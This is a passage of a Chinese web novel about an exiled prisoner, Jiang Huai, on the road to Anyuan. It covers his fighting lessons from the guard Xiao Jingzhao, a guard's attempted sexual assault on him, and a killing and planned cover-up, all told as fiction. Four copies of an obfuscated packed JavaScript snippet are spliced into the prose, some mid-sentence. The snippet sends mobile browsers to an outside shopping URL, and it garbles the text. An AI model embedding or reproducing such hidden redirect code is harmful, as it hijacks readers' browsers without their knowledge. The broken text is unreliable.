黏腻的视线过于炙热,姜淮意识到不对劲,可刚才萧靖昭让他低头,犹豫了下,姜淮还是没有回头看过去。
而这时,张头也想起姜淮来,虽然他知晓姜淮不出声是因为身上没银子,可被囚犯这么一说,哪怕知道对方是有意挑拨,心头还是有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376180|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些不爽。
要知道张头也押送过不少次流放的囚犯,往常对待囚犯都是想做什么就做什么的,可偏偏押送姜淮,轻不得,重不得,心底就憋着点气,只是也不好发泄出来,可如今有机会,不说别的,抽姜淮一鞭子出出气也是应该的。
张头还记着姜淮欠他的那一鞭子。
张头四处张望,想看看姜淮在哪里,而这一找,先对上孙勇黏腻无比的目光,接着才看到姜淮低头老实得不能再老实的模样。
张头最喜欢押送那些老实、不搞花样的囚犯,有钱的囚犯虽然能多压榨些银子,可是麻烦又折腾,因为拿了钱,态度还要宽和些,一些囚犯说不定就有小心思了,而这老实的囚犯押送起来就放心,不然整日提心吊胆的,就算捞着银子也高兴不了多久。
看姜淮这老实的模样,心底的怒气降低了些。
算了,这小子也没做什么出格的事,况且这身板也差,真挨一鞭子,生病耽误了行程麻烦,万一病死在路上就更折腾了。
张头很清楚,其他的囚犯要是就这么死路上,虽然会有点麻烦,但是问题不大,可姜淮万一出事,他这尸身病因什么的都得保留,因为姜家的罪太大,说人死了,谁知道是不是调包的呢。
至于说上面派人来调查,他作为带队的皂卒,肯定是要各种解释,说不定还要贿赂来人,想想这一通折腾,张头头皮发麻,本就削减了些的怒气更是降了不少。
不过剩下的那点怒气总是要发泄出去的。
张头眼珠一转,就看到了孙勇,那一副狗样子让张头很是看不过眼,骂骂咧咧了几句,朝着孙勇过去。
听到张头的声音从前方过来,因为没有抬头,所以姜淮也不清楚发生了什么,只能按照之前的情况推测,张头该不会是来找他了。
内心的紧张让姜淮的手不自觉地微微颤抖起来。
不过很快,姜淮还是强迫自己冷静,听着张头的脚步声,判断对方可能会怎么抽他,他要怎么避免造成更大的伤害。
要小心不能伤到脸,姜淮很清楚,一张好看的脸,对他现在或许帮助不大,可等他到了安远府,身边的人多了,一个好看的人和一个丑陋的人能获得的帮助还是有不小区别的,毕竟世人都是以貌取人。
姜淮思考着,听着张头的脚步声越来越近,深吸口气,做好挨鞭子的准备,身体因为紧张微微颤抖,就听到身边一声冷哼,张头从他旁边走了过去。
张头刚才虽说是用各种理由开解,可对姜淮还是有一丝怒气在的,可看到姜淮这么怕他,心中不免有些得意,怒气也彻底消散了。
张头的顾虑,其他囚犯并不知晓,他们只看到有人和张头告状,心思被张头看破,然后挨了一顿毒打,而本来也要受到惩罚的姜淮却因为有皂卒拉着他,就这么躲过去了。
这如何不让他们眼热。
原本一些囚犯还没想好要不要讨好皂卒,要怎么讨好,可经过张头的一番折腾,再看到姜淮讨好皂卒的结果,纷纷做下决定,一定要好好地讨好皂卒。
8. 第 8 章
又是一个清晨。
姜淮醒来后打了个寒颤,摸着冰凉的脸赶紧搓了搓,顺便活动一下手脚,才让蜷缩着睡觉的身体没有那么难受。
昨天紧赶慢赶的,还是错过了最近的驿站,只能在野地里露宿一晚。
不过对比起来,姜淮又更喜欢野外露宿,起码露宿的时候自在些,也比牢房干净。
走了快半个月,姜淮路过各种驿站的牢房棚舍,发现如果是棚舍还好点,清理的频繁一些,因为这些棚舍有时候还会让一些临时路过,又没有多少钱的人住,多少会打扫一下,也有恭桶。
哪怕是这么多人共用,可也好过没有恭桶。
而牢房则不同,平日关进去的人也不多,所以很少会去打扫,里面的气味长年累月的,进去住一晚,姜淮只能用囚服捂住口鼻,才能在疲劳中入睡。
饶是如此,第二天的精神状态也不好,要不是这么些天走下来,姜淮也逐渐习惯了长途跋涉,体力有些提高,可能路上都坚持不住了。
至于客栈,姜淮相信皂卒们住的应该不会差,可囚犯们也都是挤在一块睡觉,舒适度和棚舍差不太多,也不如野外露宿。
最主要的,露宿还有一样好处。
姜淮走出油布搭建的棚子,就看到萧靖昭在营地旁练武,动作干净利落,拳风阵阵,让姜淮忍不住多看了几眼。
萧靖昭注意到有人看他,拧眉回头,就看到姜淮在看着自己,目光中似乎有些艳羡。
羡慕什么?
萧靖昭还没想明白,姜淮就收回视线,去营地旁边搬昨日收拢的柴火,放进搭好的灶台中,将陶罐装上水架好,引火烧柴,而萧靖昭这时也提着粮食过来了。
因为在野外露宿,皂卒们自然也没有办法给囚犯们准备什么饼子,毕竟谁也不清楚当天是会在驿站客栈住,还是要在野外住,提前准备太麻烦,但是准备一袋子杂粮就方便的多了,也不容易坏。
只是粮食就不可能让囚犯直接生吃了,需要煮熟。
原本煮饭这件事是皂卒来做的,也不敢让囚犯做,一是怕囚犯偷吃,引得囚犯争闹起来,二来是担心有囚犯起坏心思,在饭里下点什么,哪怕出事的是囚犯,可皂卒也麻烦。
萧靖昭作为新来的皂卒,跟了几天后就被分配了这个任务,毕竟这也不是什么好活,要做饭,那自然是要早起的,而流放路上,别看囚犯似乎累的不行,其实押送的皂卒也累,自然不乐意多干点活。
尤其是萧靖昭还接手了其他皂卒的饭食准备,做饭时间更长,那就起的更早了。
姜淮见状就主动请缨,来帮萧靖昭的忙,或者不能叫帮忙,而是算报答。
姜淮一开始只是单纯的想报答一下萧靖昭,但是很快就发现做饭的好处了,比如说,让饭食不那么难以入口。
皂卒做饭可不会多细致,粮食基本上不挑拣,也不洗,直接加水就煮,饭食里有些灰尘木屑都还算好,就怕吃到石子,磕到牙齿,现在可没有地方补牙。
有时候水加多了,又还没有煮透,外面一层吃着烂糊,里面的内芯又还是硬的,甚至有些夹生,吃着比干饼子还要难吃。
现在换自己做,就可以多麻烦一会,挑拣一下石子草屑,用水稍微清洗一下,提前泡好。
如果是天热,晚上泡着粮食容易变质,但是现在夜间凉了不少,泡一晚没有问题,还能让粮食吸足水分,第二天煮起来消耗柴火也好,做起来也快。
至于味道嘛,姜淮算是明白为什么减肥的人要吃粗粮了,这么弄一圈,也只是让粮食更好入口,更容易消化,对牙齿的磨损小了,但是味道的改变其实也就那样,可和之前比还是好了不少。
起码囚犯吃过这些饭后,一个个的对姜淮的态度都好了一些,虽然这里面也有他们忙着讨好其他皂卒,也没有什么精力找姜淮麻烦的关系。
姜淮将泡好的粮食倒进罐子里,搅拌了一下就盖上罐子,接着下一个灶台。
等忙完这一切,姜淮松了口气,接下来他只需要不断的放柴火,维持灶下的火,再放点昨天摘的野菜,饭就差不多算好了。
皂卒那边的饭食不用他动手,姜淮其实也想帮忙,但是萧靖昭拒绝了。
“我做的饭食哪怕不好吃,其他人也不会有意见,更何况奔波在外,谁都有个身体不适的时候,若是有谁说这是吃饭食引起的,你怎么办?”
这么一句话让姜淮没有再坚持下去,这风险不是没可能的,瓜田李下,他还是要避嫌。
看着萧靖昭准备饭食,姜淮忍不住又想起刚才看到的拳法,有点心痒痒的,想开口问一问。
“想说什么。”低沉的男声的响起。
他表现的有这么明显吗?
姜淮脸一红,可好不容易萧靖昭开口了,纠结了一秒钟,姜淮还是问了出来。
现在其他人都在休息,他刚好可以和萧靖昭单独交流一下,等人多了,他也不好多问话。
“魏哥,你觉得我练武能成吗?”姜淮问。
“练武?”萧靖昭算是明白姜淮之前的艳羡是为什么了,上下打量了一番,虽然还没有摸骨,但萧靖昭可以肯定,姜淮练武绝对是事倍功半,身子骨不行。
虽然萧靖昭没有说话,但是那上下打量后沉默的态度足以说明一切。
见姜淮失望至极,萧靖昭沉默片刻道:“练武也需要吃好喝好,如今在路上,你吃的根本不够练武消耗的。”
萧靖昭这话一下子提醒了姜淮,他都忘了这事,运动锻炼是需要吃饱喝足,就他现在的情况,不多消耗还能撑着,一消耗,指不定就身体扛不住了。
“你练武是想做什么?”萧靖昭的问话打断了姜淮的思考。
姜淮不假思索道:“想不被人欺负。”
“有人欺负你了?谁?”萧靖昭眉头紧皱,追问道,同时开始猜测是谁动手了。
白日他和姜淮算是形影不离,毕竟作为负责姜淮的看守,他需要一直盯着姜淮,根本没有人可以在他眼皮子底下接近姜淮,除非是晚上有人动手了……
萧靖昭眼眸眯起,温和的眉眼带出一抹寒意。
“不是不是,现在还没有人欺负我。”姜淮没想到萧靖昭居然这么激动,赶紧摆手,解释起来,“魏哥,有你在,队里没有人欺压我,只是,等抵达安远府,魏哥你也要返程,我是怕那时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376181|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
……“
姜淮说着说着,忽然感觉自己这话好像有点茶,像是要留着萧靖昭保护自己似的,直接说不下去了。
姜淮有点担心这话影响了萧靖昭对自己的印象,抬头想要解释一番,就发现萧靖昭走神了。
“魏哥?”姜淮出声。
萧靖昭回神,不动声色道:“我明白你的意思,你是说担心一个人的时候,不会武功,有人欺负你也没有办法自保。”
姜淮连连点头,他就是这个意思,同时庆幸还好萧靖昭似乎没有听出他刚才的话有点茶茶的,不然他都不知道要怎么解释。
“刚才看了那么一会,有记住一招半式吗,打给我看看?”萧靖昭说道。
姜淮有点尴尬,但也不想耽误时间,回想了下刚刚看到的招式,有些笨拙的试着模仿一下,只是他也就看了那么一会,加上本身也没有什么武学天赋,描两下动作就停住了。
“就记得这点。”姜淮惨兮兮。
萧靖昭眉心微跳,他从来都不知道,自己从小练到大的拳法能打的这么丑,不说拳架有没有,就这个动作都非常的不标准。
“你还会别的吗?”萧靖昭继续问。
姜淮想了想,一下子就想起军训时练过的军体拳,本来都过了快一年,军体拳他都忘了不少,可他被拉着参加社团活动,其中就有一个全体打军体拳的表演,不得不捡起来。
姜淮想着将拳法打了一遍,萧靖昭开始还有些走神,可注意到这些拳法动作后,瞬间专注起来。
拳法说到底就是更加简洁高效的打击敌人,萧靖昭一向觉得卫家的拳法非常实用,可姜淮打的这套拳法似乎更加实用,动作简洁的不行。
而且以萧靖昭的眼光来看,这套拳法似乎是改过,动作的杀伤力都减弱了一些,若是稍做修改,杀伤力大大增强。
姜淮只打到一半就有点打不下去,气喘吁吁的停了下来。
平时只是单纯的走路,不做什么,姜淮感觉体力还刚好够用,可是打一套拳法却让他意识到自己有多虚,也更明白萧靖昭刚才的话了。
他现在的情况,练武不是指不定扛不住,而是肯定扛不住。
难道就只能算了吗?
姜淮有些失落,如果是在流放地,他倒是可以用脑子里的知识给自己改善下生活条件,练武也就可行了,只是现在在流放的路上,姜淮压根不敢用那些知识改善生活条件,因为他做什么都会被其他人注意,那最后结果可就不会太美好。
“如果只是想不被人欺负,不用长时间练武,只要学一点招式就好。”萧靖昭说道,这是姜淮刚才的招式给他的灵感。
峰回路转,姜淮惊喜的看向萧靖昭。
萧靖昭微笑,讲解起来,原理很简单,那就是心狠手辣。
人的身体很结实又很脆弱,在一些死穴上,不需要多大的力气就能置人于死地,或者让对方重伤,姜淮的体力不行,力气不够大,那就练练眼力,练习下手的精准度,只要狠的下心,真有人敢欺负他,那就动手。
姜淮看着萧靖昭说起人体死穴的笑容,只觉后背有点发毛,他以为和善的魏哥好像也不是很和善啊。
9. 第 9 章
用教萧靖昭军体拳作为交换,姜淮也从萧靖昭那里学来一些非常实用的打架技巧。
“这么做你亏了。”萧靖昭没有隐瞒,在他看来,如果多给姜淮一些时间精力练习,对方那套拳法不会差到哪里去。
姜淮自然也清楚算下来他是亏了的,可是他需要快速上手,而拳法很难每天练,毕竟他大部分时间都在皂卒和囚犯眼皮子底下,有点动静就会被人看到,还不如学一些动静小点的必杀技。
而要学这个,自然是需要老师的,不找萧靖昭,其他人根本不可能教他。
囚犯练武显然是不合规矩的,所以萧靖昭并没有用惯常的教学方法,而是直接点上姜淮身上的各处死穴来教姜淮,几天时间下来,姜淮对于人身上的死穴已经了解了很多。
两人虽然尽量避着其他皂卒囚犯,但是练习时动作还是很显得亲密,这在其他皂卒眼中,显然就是萧靖昭已经将姜淮拿下,不然两人如此亲热算什么。
如果萧靖昭是强迫手段,那张头肯定得出面,但是张头也能看出姜淮是真的很黏着萧靖昭,就误以为是姜淮自愿,这样的话,那张头就不好轻举妄动了。
而孙勇,哪怕这段时间因为囚犯的讨好,他也找到一个愿意委身他的囚犯,可对姜淮还是念念不忘的,以至于得知这个消息后,更是恼怒不已。
姜淮并没有注意到这些事情,而萧靖昭虽然注意到了,却也不在意。
理论知识学完了,也该学习一下实战技巧,趁着休息时间,萧靖昭而拉着姜淮到一个角落,让姜淮在他身上练习。
“这,这不太好吧。”姜淮犹豫道,他可还记得萧靖昭教给他的那些死穴位置有多危险,有的稍微一击就容易受伤。
“我有数,你来吧。”萧靖昭冷静道。
既然萧靖昭都这么说了,那姜淮也不客气,毕竟他这次的付出是实打实的,哪怕只是一些脑海中的知识,可在姜淮看来,那都是他上个世界的珍贵回忆,轻易是不舍得交易出去的。
既然交易了,那就是获得实打实的好处。
不过说是这么说,可真的要动起手来,姜淮发现自己还是有些畏手畏脚,因为他从来没有这样和人打过架,或者说现在也不能算打架,是他单方面的试图殴打萧靖昭,拳头重重的下去,可真要落到对方身上的时候,又有些畏缩。
不光是害怕伤到对方,还因为身上有根无形的绳索在束缚着他的动作,那是他从小到大接受的道德教育在起作用,伤人对姜淮还来说有些违背他的习惯。
即便随着练习,发现自己的拳头并不能对萧靖昭造成什么伤害,姜淮拳头的力道也加重了,可真落到萧靖昭身上。却还是会下意识放轻。
“停,你先别打了。”萧靖昭制止了姜淮的动作。
姜淮也意识到自己的问题在哪里,紧抿双唇,对自己也有些失望。
“你有什么生气的时候吗?”萧靖昭问。
“生气?”姜淮思索,要说生气的话,以前或许也有些事会让他生气,但是现在回忆起来只有满满的怀念,毕竟那是他回不去的现代生活呀,至于现在的话,姜淮想到自己的穿越,不禁捏紧拳头。
哪怕知道穿越是场意外,并没有谁主导,可也不妨碍他满肚子怨气。
看到姜淮脸上深重的怨气,萧靖昭都忍不住有些好奇姜淮到底是想到了什么,要知道哪怕流放路上这么苦,姜淮平时看着还挺开朗的,完全看不出心里有这么大的怨气。
不过他心中的怨气或许比姜淮还要大吧。
想到以往的事,萧靖昭心中的轻松荡然无存,若不是还记着教学没有结束,都要教不下去了。
“你要生气,生气的时候动作才会有力气。”萧靖昭拍拍姜淮的肩膀,继续道,“现在你能下手吗?”
“这么打下去的话,对方会死吧。”姜淮也知道这话有点过于圣母,可生命只有一次,哪怕他意外得到了第二次,但这显然是极其小的概率,就这么剥夺一个人的性命,姜淮感觉自己还是有点下不去手。
“你觉得你什么时候会下这种杀手?”萧靖昭反问,“到那时你若不动手,那死的就是你了。”
“当然,若是人死了,确实也麻烦,你是想要既可以制服对手,又不会伤及性命,但是……”萧靖昭打断姜淮想说的话,紧紧盯着他的眼睛,“哪怕一个练武十年的人,也做不到你这种想法,你要是抱着留他人一条命的想法去和人争斗,只会丢掉自己的命。”
“尤其是安远府,民风剽悍,你若是不用狠手段立威,其他人只会看你软弱好欺,等你再想还手,或许就没有机会,只能被人踩成一滩烂泥。”萧靖昭越说,神色越发的冷厉。
姜淮只感觉脑子有点晕,差点就要被萧靖昭给说服了,确实,这个古代世界和现代完全就是两个不同的世界,他要是一直抱着现代的思想走,那确实很难立足。
毕竟在这流放路上就是如此啊,他也应该改变,不然只能被人欺负。
但很快,姜淮猛地想起来他练武的原因是什么。
“不对,我只是想要学一招半式可以制敌的手段,只要让对方昏过去,或者丧失反击能力就好,也不至于直接出手就是死招吧。”姜淮反驳,讨论到这个地步,姜淮已经忘记他平时表现出的温和谨慎。
哪怕没有发现什么不对劲,可姜淮总觉得真要按照萧靖昭这套说法来,那他还算是他吗?
世界如此,他就一定要改变自己吗?
如果真到这个时候,姜淮觉得自己会听从内心的安排,做出正确的选择,但是现在,他不想为了以后可能的事情而改变自己。
不说别的,起码之前的驿卒王二是个好人,而萧靖昭,也算是个好人,哪怕对方看起来有点偏激。
这才碰上这么些人,就遇到了两个好人,姜淮相信哪怕是在古代,世上还是好人多。
萧靖昭和姜淮对视,互相都能看到对方眼中的执着,萧靖昭意识到自己是没有办法说服姜淮了,也不愿意多嘴,选择教姜淮一些别的制敌手段,比之前要温和一些,会让人昏过去,但是不致死。
只是哪怕动作温和,消耗也还是不小,姜淮气喘吁吁,正想再来一次,萧靖昭一把握住他的拳头,冷漠的朝着远处看去。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376182|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
姜淮也意识到不对劲,就听不到不远处传来脚步声,一个人影出现,是个年轻的囚犯,叫宋余,姜淮记得他似乎和一个叫孙勇的皂卒有些暧.昧关系,因此得了不少好处。
宋余看到萧靖昭冷漠的视线,不禁一抖,再看姜淮带着红晕的脸颊,气息不稳,快速看了一眼两人凌乱的衣服,尴尬的笑了笑,飞快离开。
“他没有看到什么吧?”姜淮问道。
“没有,他脚步很沉,如果凑的很近,我早就发现了。”萧靖昭摇头,更何况对方要是发现了真相,那就不是这个态度了。
“魏哥,那我先回去了。”既然有人来了,加上也练了一阵子,姜淮也没有体力继续下去,就选择了告辞。
萧靖昭沉默的点了点头,目送姜淮离开。
宋余赶在姜淮前面回到休息地,对上孙勇的目光,赶紧过去汇报他看到的情况。
因为自己和孙勇的关系,宋余下意识的就将姜淮和萧靖昭的行为也当成他这般,尤其是远远的看过去,两人抱在一起的动作格外暧.昧。
听着宋余的汇报,孙勇脸色越发的难看,尤其是看到姜淮发丝凌乱,脸带红晕的出来,而萧靖昭过了一会才出现,更是眼珠子都快要瞪出来了。
孙勇之前还只是猜测,可现在,证实了。
而其他囚犯,则是有些鄙夷的看向姜淮,觉得姜淮为了讨好一个皂卒,真的是不顾脸面。
对上其他人的目光,放在平时,姜淮肯定会多想,但是刚才那一阵练习太累了,他现在只想好好休息,然后吃点东西。
这吃的也是萧靖昭给的,如果只是单纯对方施舍,姜淮吃着也不安心,不过这是用军体拳换的,所以姜淮大口大口的吃,他现在要赶紧吃,不吃点,根本不够每天的消耗。
因着误会,其他皂卒和囚犯都以为姜淮和萧靖昭会日渐亲密起来,却没想到,自从那日发现两人钻进小树林后,两人反而关系变得冷淡了些。
虽然萧靖昭还是会给姜淮吃的,也会带着对方去小树林,两人还是会靠在一起,可除去这些,就不怎么交流了。
姜淮不知道萧靖昭是怎么想的,但是他清楚,如果是他去找萧靖昭认错的话,那就是要他改变之前的想法,但这显然是不行的。
至于别的讨好办法,姜淮试了几次,发现萧靖昭的态度确实不一样了,对他有些冷淡。
姜淮没办法,只能任由萧靖昭这个态度了,毕竟他也不是舔狗,而且练武真的是能改变一个人的心智,起码练了这么几天,姜淮感觉自己对于皂卒也没有那么的畏惧,或者说也比较敢吃苦了。
两人这般别扭的反应落到其他人眼里是热闹,也是一个机会。
有囚犯看中了萧靖昭,觉得对方都和姜淮关系变差,居然还对他这么好,那自己要是也能勾住对方,得到的岂不是比从孙勇那得到的更多。
而孙勇,也蠢蠢欲动的盯上了姜淮,放之前他没有这个胆子,可姜淮与萧靖昭这段时间的亲近让他的胆子大了起来。
既然那个新来的皂卒可以,那他凭什么不可以,孙勇很是自信。
10. 第 10 章
“小公子,你跟了魏西,他就让你吃这些,这也太小气了吧。”
练完武回来,姜淮刚坐下吃饭,孙勇便凑了过去,斜了一眼姜淮手里的饭食,啧啧道,语气充满了可惜。
姜淮抬头看了眼孙勇,他对其他皂卒的印象都不算深刻,但是孙勇,一次两次的目光他可能忽视,但是看的多了,姜淮想注意不到都难。
所以孙勇这话有什么暗示,姜淮一清二楚。
见姜淮不应,孙勇脸皮抽动,有些不满,可转念一想,姜淮毕竟出身大家,说不定还没听懂他的话,还是得说的明白些。
“不过这吃食嘛,其实也算不得多重要的,毕竟也吃不了多好,要我说,那还是银子重要。”孙勇说着掏出银子来,眼中带着不舍。
可这姜淮不同于他前头找的那个宋余,随便给些东西就能服软,真要准备的比萧靖昭的还好,那也麻烦,还不如拿银子诱.惑。
“你若是跟了我,这些银子,绝不会少了你。”孙勇晃了晃手中的银子,意图毫无遮掩。
孙勇的声音动作都很小,显然是不想让其他人看到,可宋余一直在注意着这边,自然听清了孙勇的话。
宋余看着孙勇掏出的银子,心底啐了一口,这孙勇又来骗人了。
他就是这样被骗的,得手前孙勇说的天花乱坠,结果等他委身给孙勇,也就是稍微多得了些吃食,他多讨几次,孙勇还要不高兴,要不是还在流放路上,不好直接翻脸,宋余早跑了。
宋余还真没猜错,孙勇就是这个想法,先用银子诱.惑姜淮,就算真给了银子又怎么样,他在这银子上做了标记,大不了到时候就说姜淮偷了他的银子,而那时,除非姜淮把两人间的交易说出来,否则银子还是要原封不动的还回来。
更何况姜淮这样的出身,哪怕委身给他了,敢大声嚷嚷吗?
孙勇心中小算盘打的啪啪响,然而姜淮看到他手里的银子后,一丝表情变化都没有,更没有接他的话茬。
这下孙勇脸上有些挂不住,哪怕周边或许没人听到他的话,可他依旧觉得自己的面子挂不住,有些恼怒的伸手去拉姜淮,只是还没有等他碰到姜淮,一股大力从后脖颈传来,孙勇被拉了一个趔趄,差点没摔到边上的山涧里。
好不容易站稳身子,孙勇气势汹汹回头,就对上萧靖昭冰冷的眼睛,顿时哑火了。
面对姜淮他敢发火,可萧靖昭可比他高大,又同为皂卒,他就不敢有什么动作。
“我看你不在,帮你看一下姜淮。”孙勇讪笑两声,强行解释了一句,眼见自己在姜淮这边占不到什么便宜,麻溜的撤了。
“他刚才做了什么?”萧靖昭问。
姜淮没有瞒着,直接将孙勇刚才的话复述了一遍。
萧靖昭脸色有些难看,想起他之前听皂卒闲聊时说过的话。
“诶,那个大家公子,居然就勾搭上魏西了,这才多久啊,真是人不可貌相。”
“我看孙勇可后悔了,要是早行动,说不定魏西这位置就是他的了。”
“那孙勇可真得后悔死了。”
“我看孙勇还不甘心呢,说不定又有好戏可看。”
……
“下次你和我一起回来。”萧靖昭清楚孙勇为什么刚才来找姜淮,因为除了这个时候,对方也没有办法避开他,独自来找姜淮了。
姜淮点点头。
萧靖昭和姜淮都没有太将孙勇放在眼里,萧靖昭是单纯的不在意,觉得孙勇虽然好.色但是胆小,不敢做什么,而姜淮则是觉得孙勇没有机会对他做什么。
然而他们都低估了一个人色心上头,恼羞成怒后会做出什么事。
被萧靖昭吓的缩了回去后,孙勇又万分不甘心,尤其是见几个皂卒凑一起闲聊,脸上带着笑意,看到他时笑容加深,就觉得是刚才的事被同僚们看到了,正在嘲笑他,心底越发的不平。
张头的训斥,以为的同僚的嘲笑,萧靖昭的冷漠,以及姜淮似乎都看不起他,这一切直接就让孙勇像是个不断充气的气球,随时都可能炸裂。
而发现自己找的囚犯居然也试图勾搭萧靖昭,直接成了孙勇炸裂的导.火.索。
……
“魏哥找我?”听到囚犯说萧靖昭找他,姜淮也没有过多怀疑,起身朝外走去。
按照囚犯说的位置,姜淮远远的看见有人站在树下,因为下着雨,加上天色很暗,姜淮并没有看出站着的人并不是萧靖昭,直到走近才发现有些不对劲了。
然而不等他反应过来,来人就扑了过来,将姜淮举着的挡雨批盖给打翻在地,捂着姜淮的嘴巴就将他往林子深处拖。
姜淮都来不及呼喊,就被对方一下带倒,喊都喊不出来。
意识到自己没有办法求救,姜淮强制让自己冷静下来,也是这些天训练的成果,让姜淮面对暴力也能比较冷静的应对。
姜淮尝试着挣扎了下,在感受到对方手中的力度后迅速放弃了挣扎,虽然他没有看清来人是谁,但是对方的力气不小,他现在受制于人,如果强行挣扎,只会白费力气,还不如保存力气等后面。
被人在地上拖行,姜淮只能庆幸自己出来的时候披上了挡雨的披盖,不然这一路拖行,身上不知道会添多少伤口。
来人将姜淮拖到一个可以茂密的大树下,尽管天上下着雨,可因为树木还算繁茂,叶子也没有掉多少,还是可以遮挡一些雨水。
来人似乎感觉这是个办事的好地方,拖着姜淮停下了,因为姜淮刚才没有用力反抗,只当自己的动作吓到了姜淮,一只手紧紧攥住姜淮的两只手,一只手去扯裤腰带。
毕竟姜淮也是个男人,哪怕看着是个瘦弱的小公子,可男人办事的时候还是很脆弱,他也不放心让姜淮一点束缚都没有。
只是姜淮瘦弱的印象比较深刻,加上刚才姜淮表现的很是弱势,所以这紧紧攥住姜淮的手也不是特别的紧。
借着外面微弱的光亮,姜淮看清掳走他的人是谁——孙勇。
姜淮心底一沉,在看清孙勇的动作后,瞬间明白对方是想做什么。
“小美人,软的不吃,你就得吃吃这硬的,说不定吃完就爱上了呢。”孙勇对上姜淮有些发白的脸,只觉得这强迫一次也别有风味,只是事到临头,这裤腰带有些难解,让他有些焦躁起来。
“如果被人困住,要怎么脱困呢?”
“你抱住我,我示范一次。”
记忆在眼前浮现,因为这个动作比较常见,姜淮和萧靖昭当时还练习了七八次,对于要如何做很是熟练。
姜淮深吸一口气,抓住孙勇急躁松手的那瞬间,弹身而起,猛地一记头槌撞了上去,直接撞在了孙勇的腹部,而后重重一脚朝着孙勇胯.下踢去。
孙勇刚想捂住肚子,要害就遭到重击,整个人都缩成一团。
然而姜淮很清楚,事情还没有结束,孙勇不一定没有反抗之力,因为他这些天哪怕吃饱了,可走在路上,加上练习,也消耗了不少体力,更别说今天下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376183|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雨还要在山路上行走,体力消耗的更多。
别看孙勇现在这个样子,说不定马上就恢复了。
接下来就是……
姜淮一记膝撞,牙齿和骨头皮肉磕碰的声音让人后背发麻,而这一下,也足以让孙勇昏了过去。
看着孙勇昏迷,姜淮松了口气,起身看看四周,刚才他被拖行,视角都是混乱的,根本分不清来之前的方向。
而在树林里要是迷路了,那结果不一定会比刚才好到哪里去了。
姜淮只能低着头寻找刚才走过的路,而林子里的草木过于茂密,哪怕刚才被拖行了,可草木压弯后又回弹,加上因为下雨,天色异常昏暗,姜淮只能一点点的找路。
姜淮认真找路,并没有发现原本被他绑起来的孙勇竟然挣脱了腰带的束缚,手里拿着裤腰带,悄悄朝着他走了过来,一步又一步。
雨下的大起来,落在林子里发出细碎的沙沙声,姜淮终于确定自己是从什么方向过来的,脸上刚露出欣喜的笑容,就被人从身后勒住了脖子。
是孙勇。
姜淮意识到这点,然而他因为找路,反应的迟了,孙勇已经紧紧勒住了他,氧气的迅速消耗已经脖子上的疼痛让姜淮有些喘不过气,眼前渐渐昏暗起来,他就要这么死在这里了吗?
忽然,姜淮听到砰的一声,还没反应过来这是什么声音,就感觉脖子上的力道松了很多,而身后的人似乎没有力气了。
姜淮来不及多想,猛地往前跑了几步,听到什么东西重重倒地后,才回头看了一眼。
“魏哥!”哪怕光线昏暗异常,可姜淮还是认出新出现的人是谁。
“他?”姜淮看向倒在地上的孙勇,对方似乎还有点呼吸,但是又好像没有呼吸了,太暗了,胸口的那点起伏看的很模糊。
“死了。”萧靖昭淡然道,刚刚下手他就猜到了。
姜淮脸色一白,看着倒地的孙勇,手有点发抖。
“魏哥,你刚才是用什么砸的?”姜淮抹了把脸,忽然感觉脑子异常冷静,或许是因为这么一会的事,已经超出了他的大脑加载,但是他清楚,孙勇解决了,可也有了大.麻烦。
一个皂卒死了,其他皂卒一定会追究的,如果被发现是萧靖昭动的手,萧靖昭会死,最次也是沦为阶下囚,可对方是为了救他,他必须站出来。
“这个。”萧靖昭托起一块石头,上面还残留着血迹。
姜淮一把抢了过来,拿在手上,然后站到了萧靖昭刚才站的位置,先将地上的鞋印破坏了干净,然后试探着模拟萧靖昭刚才的动作,思考要怎么瞒过可能出现的衙役。
如果说刚开始萧靖昭还不知道姜淮想做什么,那现在是明白了。
“担下这个罪,你会死。”萧靖昭冷静道。
“魏哥,你担责,也会死的。”姜淮摇摇头,“魏哥你赶紧离开,这里就留下我就好,你待会再带一群人过来,把这现场都破坏掉,这样就没有人可以查出你来过。”
